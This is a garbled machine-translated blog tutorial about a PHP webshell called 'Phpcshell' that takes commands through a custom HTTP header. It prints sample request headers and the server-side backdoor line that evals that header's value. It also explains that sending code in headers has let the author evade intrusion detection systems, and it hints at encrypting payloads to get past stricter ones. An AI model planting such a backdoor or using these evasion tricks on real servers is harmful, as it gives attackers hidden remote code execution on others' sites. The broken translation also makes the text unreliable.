PHP/C/S shell_php tutorial based on HTTP Header

http://www.vul.kr/?p=455 Author: ttfct

06, the discovery HTTP header can be customized, insert the specified code, August 06 successfully completed Phpcshell C/S tool, after the use of this tool has been used to bypass ids,07 years have encountered the use of WSC post submission can not successfully connect, and use Phpcshell successfully connected, and has been used, concealment is very good.

Having said so much, it is time to elaborate on the principle of Phpcshell:

Let's take a look at the HTTP HEADER first

get/http/1.1
Accept:image/gif, Image/jpeg, Image/pjpeg, Application/x-ms-application, Application/vnd.ms-xpsdocument, Application/xaml+xml, APPLICATION/X-MS-XBAP, Application/vnd.ms-excel, Application/vnd.ms-powerpoint, application/ MSWord, Application/x-shockwave-flash, */*
Accept-language:zh-cn
user-agent:mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; trident/4.0; SLCC1;. NET CLR 2.0.50727;. NET CLR 3.0.30729;. NET CLR 3.5.30729; INFOPATH.2)
Accept-encoding:gzip, deflate
Host:www.vul.kr
Connection:keep-alive
Cookie:www.vul.kr

HTTP header contains information such as Accept,accept-language,user-agent,host, I published two years ago an article is about bbsxp, by modifying the user-agent to achieve injection, in addition to the modification, but also to the HTTP Header additions, as we add:
Vulnerable:welcome to www.vul.kr

The complete HTTP header is as follows:

get/http/1.1
Accept:image/gif, Image/jpeg, Image/pjpeg, Application/x-ms-application, Application/vnd.ms-xpsdocument, Application/xaml+xml, APPLICATION/X-MS-XBAP, Application/vnd.ms-excel, Application/vnd.ms-powerpoint, application/ MSWord, Application/x-shockwave-flash, */*
Accept-language:zh-cn
user-agent:mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; trident/4.0; SLCC1;. NET CLR 2.0.50727;. NET CLR 3.0.30729;. NET CLR 3.5.30729; INFOPATH.2)
Accept-encoding:gzip, deflate
Host:www.vul.kr
Vulnerable:welcome to www.vul.kr
Connection:keep-alive
Cookie:websitecookie

On the server side, receive the following code:
Echo ($_server[http_vulnerable]);
?>

After the HTTP packet NC is submitted, the successful display "Welcome to www.vul.kr", so that the HTTP header we customized information, Post,get submission data can be made a sentence, of course, HTTP header packet submission can also, And it's possible to bypass some IDs, which is why I've been using Phpcshell.

If the service side becomes:

Eval ($_server[http_vulnerable]);
?>

It becomes a typical sentence:)
Some IDs are very BT, will check the HTTP HEADER, to bypass, or there are methods, hint: Packet encryption, the service side decryption and execution.

Phpcshell diagram, originally wanted to make and WSC function the same, but the workload is too large, no time to write.

The Ps:http header submits a character limit that allows the length of characters: 8184.

Finally, you are welcome to http://www.vul.kr

http://www.bkjia.com/PHPjc/508463.html www.bkjia.com true http://www.bkjia.com/PHPjc/508463.html techarticle http://www.vul.kr/?p=455 Author: ttfct 06, found that the HTTP header can be customized, insert the specified code, August 06 successfully completed Phpcshell C/S tool, after the use of this tool to bypass I ...

